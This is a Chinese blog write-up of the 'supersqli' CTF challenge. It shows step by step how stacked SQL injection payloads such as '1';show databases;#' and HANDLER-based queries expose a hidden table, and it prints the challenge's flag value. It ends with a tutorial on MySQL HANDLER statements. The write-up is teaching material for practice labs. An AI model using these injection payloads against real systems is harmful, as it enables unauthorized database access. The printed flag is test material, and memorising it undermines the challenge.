

# supersqli 攻防世界

原创

蓝为(>^ω^<)喵 于 2021-11-22 16:32:04 发布 321 收藏

分类专栏: [攻防世界](#) 文章标签: [攻防世界](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_53030229/article/details/121474183](https://blog.csdn.net/qq_53030229/article/details/121474183)

版权



[攻防世界 专栏收录该内容](#)

2 篇文章 0 订阅

订阅专栏

## 文章目录

### 一、supersqli

- 1、查找注入点
- 2、查看数据库、数据表
- 3、查看表的内容

### 二、知识拓展

- 1、我在mi数据库中创建了一个数据表
- 2、使用handler读取数据

## 一、supersqli

当看到这道题时, 第一下我就想到堆叠注入, 因为我做过相同题目, 当你们做完这题时, 可以尝试Buuctf [GYCTF2020]Blacklist 这题, 就相当于巩固一下。

### 1、查找注入点

当我们输入引号时, 发现报错, 所以判断存在注入

**取材于某次真实环境渗透, 只说一句话: 开发和安全缺一不可**

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server ver

### 2、查看数据库、数据表

```
1';show databases;#
```

姿势:

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"}
```

```
array(1) {  
  [0]=>  
  string(11) "ctftraining"  
}
```

```
array(1) {  
  [0]=>  
  string(18) "information_schema"  
}
```

```
array(1) {  
  [0]=>  
  string(5) "mysql"  
}
```

```
array(1) {  
  [0]=>  
  string(18) "performance schema"  
}
```

CSDN @蓝为(>^ω^<)喵

```
1';show tables;#
```

这里查看到了两个表

**取材于某次真实环境渗透，只说一句话：开发和安全缺一不可**

姿势:

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"}
```

---

```
array(1) {  
  [0]=>  
  string(16) "1919810931114514"  
}
```

```
array(1) {  
  [0]=>  
  string(5) "words"}
```

CSDN @蓝为(>^ω^<)喵

### 3、查看表的内容

在数据库中查看1919810931114514这种类型时，要用`号

```
1';HANDLER `1919810931114514` open; HANDLER `1919810931114514` read first;#
```

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"
```

```
array(1) {  
  [0]=>  
    string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"  
}
```

CSDN @蓝为(>^ω^<)喵

## 二、知识拓展

mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据

### 1、我在mi数据库中创建了一个数据表

```
mysql> show databases;  
+-----+  
| Database |  
+-----+  
| day19   |  
| demo    |  
| dvwa    |  
| information_schema |  
| mi      |  
| mysql   |  
| performance_schema |  
| usermanage |  
+-----+  
8 rows in set (0.00 sec)  
  
mysql> use mi;  
Database changed  
mysql> show tables;  
+-----+  
| Tables_in_mi |  
+-----+  
| mi           |  
+-----+  
1 row in set (0.00 sec)
```

CSDN @蓝为(>^ω^<)喵

### 2、使用handler读取数据

总结下来就四条命令，不难，你们自己尝试动手一下，加深印象，handler打开后要关闭，没有关闭下次打不开

HANDLER mi open; 打开mi表

HANDLER mi read first; 阅读表中第一行内容

handler mi read next; 阅读表下一行内容

handler mi close; 关闭

```
mysql> HANDLER mi open;  
Query OK, 0 rows affected (0.00 sec)
```

```
mysql> handler mi read first;
```

id	name	grade
1	wb	45

1 row in set (0.00 sec)

```
mysql> handler mi read next;
```

id	name	grade
2	zs	54

1 row in set (0.00 sec)

```
mysql> handler mi read next;
```

id	name	grade
3	we	76

1 row in set (0.00 sec)

```
mysql> handler mi close;  
Query OK, 0 rows affected (0.00 sec)
```

CSDN @蓝为(>^ω^<)喵

当然，另一个表内容你们也可以使用handler查看